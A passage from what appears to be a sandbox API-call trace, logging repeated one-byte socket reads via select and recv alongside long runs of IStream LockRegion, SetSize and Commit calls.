cb=0x0, dwLockType=0x2) returned 0x0 [0057.421] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.421] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.421] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.421] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.421] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.421] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0057.421] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.421] IStream:LockRegion (This=0x2e7fa0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0057.421] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.421] IStream:LockRegion (This=0x2e7fa0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0057.421] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.421] IStream:LockRegion (This=0x2e7fa0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0057.421] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.421] IStream:LockRegion (This=0x2e7fa0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0057.421] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.421] IStream:LockRegion (This=0x2e7fa0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0057.421] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.421] IStream:LockRegion (This=0x2e7fa0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0057.421] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.421] IStream:LockRegion (This=0x2e7fa0, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0057.421] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.421] IStream:LockRegion (This=0x2e7fa0, libOffset=0x8, cb=0x0, dwLockType=0x0) returned 0x0 [0057.421] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.421] IStream:LockRegion (This=0x2e7fa0, libOffset=0x9, cb=0x0, dwLockType=0x0) returned 0x0 [0057.421] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.421] IStream:LockRegion (This=0x2e7fa0, libOffset=0xa, cb=0x0, dwLockType=0x0) returned 0x0 [0057.421] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.421] IStream:LockRegion (This=0x2e7fa0, libOffset=0xb, cb=0x0, dwLockType=0x0) returned 0x0 [0057.421] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.421] IStream:LockRegion (This=0x2e7fa0, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0057.421] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.421] IStream:LockRegion (This=0x2e7fa0, libOffset=0xd, cb=0x0, dwLockType=0x0) returned 0x0 [0057.421] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.421] IStream:LockRegion (This=0x2e7fa0, libOffset=0xe, cb=0x0, dwLockType=0x0) returned 0x0 [0057.421] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.421] IStream:LockRegion (This=0x2e7fa0, libOffset=0xf, cb=0x0, dwLockType=0x0) returned 0x0 [0057.421] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.421] IStream:LockRegion (This=0x2e7fa0, libOffset=0x10, cb=0x0, dwLockType=0x0) returned 0x0 [0057.421] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.421] IStream:LockRegion (This=0x2e7fa0, libOffset=0x11, cb=0x0, dwLockType=0x0) returned 0x0 [0057.421] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.421] IStream:LockRegion (This=0x2e7fa0, libOffset=0x12, cb=0x0, dwLockType=0x0) returned 0x0 [0057.421] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.421] IStream:LockRegion (This=0x2e7fa0, libOffset=0x13, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x14, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x15, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x16, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x17, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x18, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x19, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x1a, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x1b, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x1c, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x1d, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x1e, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x1f, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x20, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x21, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x22, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x23, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x24, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x25, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x26, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x27, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x28, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x29, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x2a, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x2b, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x2c, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x2d, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x2e, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x2f, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x30, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x31, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x32, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.422] IStream:LockRegion (This=0x2e7fa0, libOffset=0x33, cb=0x0, dwLockType=0x0) returned 0x0 [0057.422] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x34, cb=0x0, dwLockType=0x0) returned 0x0 [0057.423] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x35, cb=0x0, dwLockType=0x0) returned 0x0 [0057.423] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x36, cb=0x0, dwLockType=0x0) returned 0x0 [0057.423] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x37, cb=0x0, dwLockType=0x0) returned 0x0 [0057.423] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x38, cb=0x0, dwLockType=0x0) returned 0x0 [0057.423] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x39, cb=0x0, dwLockType=0x0) returned 0x0 [0057.423] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x3a, cb=0x0, dwLockType=0x0) returned 0x0 [0057.423] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x3b, cb=0x0, dwLockType=0x0) returned 0x0 [0057.423] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x3c, cb=0x0, dwLockType=0x0) returned 0x0 [0057.423] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x3d, cb=0x0, dwLockType=0x0) returned 0x0 [0057.423] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x3e, cb=0x0, dwLockType=0x0) returned 0x0 [0057.423] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x3f, cb=0x0, dwLockType=0x0) returned 0x0 [0057.423] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x40, cb=0x0, dwLockType=0x0) returned 0x0 [0057.423] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x41, cb=0x0, dwLockType=0x0) returned 0x0 [0057.423] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x42, cb=0x0, dwLockType=0x0) returned 0x0 [0057.423] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x43, cb=0x0, dwLockType=0x0) returned 0x0 [0057.423] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x44, cb=0x0, dwLockType=0x0) returned 0x0 [0057.423] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x45, cb=0x0, dwLockType=0x0) returned 0x0 [0057.423] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x46, cb=0x0, dwLockType=0x0) returned 0x0 [0057.423] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x47, cb=0x0, dwLockType=0x0) returned 0x0 [0057.423] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x48, cb=0x0, dwLockType=0x0) returned 0x0 [0057.423] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x49, cb=0x0, dwLockType=0x0) returned 0x0 [0057.423] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x4a, cb=0x0, dwLockType=0x0) returned 0x0 [0057.423] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x4b, cb=0x0, dwLockType=0x0) returned 0x0 [0057.423] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x4c, cb=0x0, dwLockType=0x0) returned 0x0 [0057.423] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.423] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.423] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.423] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.423] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.423] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.423] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.423] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.423] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.423] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.424] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.424] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.424] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.424] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.424] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.424] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.424] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.424] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.424] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.424] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.424] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.424] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.424] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.424] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.424] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.424] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.424] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.424] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.424] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.424] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.424] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.424] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.424] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.424] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.424] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.424] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.424] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.424] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.424] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.424] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.424] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.424] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.424] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.424] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.424] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.424] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.424] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.425] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.425] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.425] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.425] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.425] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.425] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.425] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.425] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.425] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.425] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.425] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.425] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.425] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.425] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.425] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.425] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.425] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.425] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.425] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.425] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.425] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.425] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.425] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.425] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.425] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.425] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.425] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.425] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.425] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.425] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.425] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.425] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.425] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.425] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.425] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.425] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.425] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.426] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.426] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.426] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.426] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.426] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.426] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.426] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.426] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.426] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.426] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.426] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.426] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.426] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.426] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.426] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.426] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.426] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, 